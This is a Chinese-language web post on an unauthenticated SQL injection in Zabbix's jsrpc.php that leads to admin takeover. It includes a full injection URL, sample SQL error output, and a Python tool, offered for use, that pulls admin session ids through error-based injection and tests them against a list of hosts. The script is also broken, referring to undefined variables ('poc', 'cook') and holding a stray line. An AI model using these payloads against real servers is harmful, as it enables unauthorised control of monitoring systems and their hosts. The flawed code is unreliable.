ZABBIX高危漏洞,无需授权登陆即可完成控制(附利用工具)

  • zabbix是一个开源的企业级性能监控解决方案。
  • 官方网站:http://www.zabbix.com

  • zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

  • 影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)

漏洞测试

在您的zabbix的地址后面加上如下url:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1

输出结果,出现如下内容(包含:You have an error in your SQL syntax;)表示漏洞存在:

<div data-timestamp="1471054088083"><table ><thead><tr><th>Timestamp</th><th>Value</th></tr></thead><tbody><tr ><td>No data found.</td></tr></tbody></table></div><div><div ><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES 
(39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query 
[INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime', 
'20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL 
server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles 
(profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an 
error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use 
near ''3297)' at line 1]</li></ul></div><span.msg-bad').remove();"></span></div>

以上为仅为漏洞验证测试方式。

攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。

有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。

利用工具,可自动判断Session是否可用

import urllib,sys,urllib2,urllib
def cookie(url):
   
    body= urllib.urlopen(url+poc).read()
    cookie=body.split('Duplicate entry')[1].split('for key')[0][3:-2]
    return cookie
def test(cookie,url):
    url=url+'proxies.php'
    req=urllib2.Request(url)
    % cookie
    req.add_header('Cookie', cook)
    response=urllib2.urlopen(req)
    data=response.read()
    if data.find('Access denied.') < 0:
        print "OK-->",cookie
    else:
        print 'ERROR'
if len(sys.argv)==4:
    for i in open(sys.argv[3]).readlines():
        print i
        test(cookie(i),i)
else:
    print sys.argv[1]
    test(cookie(sys.argv[1]),sys.argv[1])
标签:Zabbix 发布于:2019-11-12 13:00:04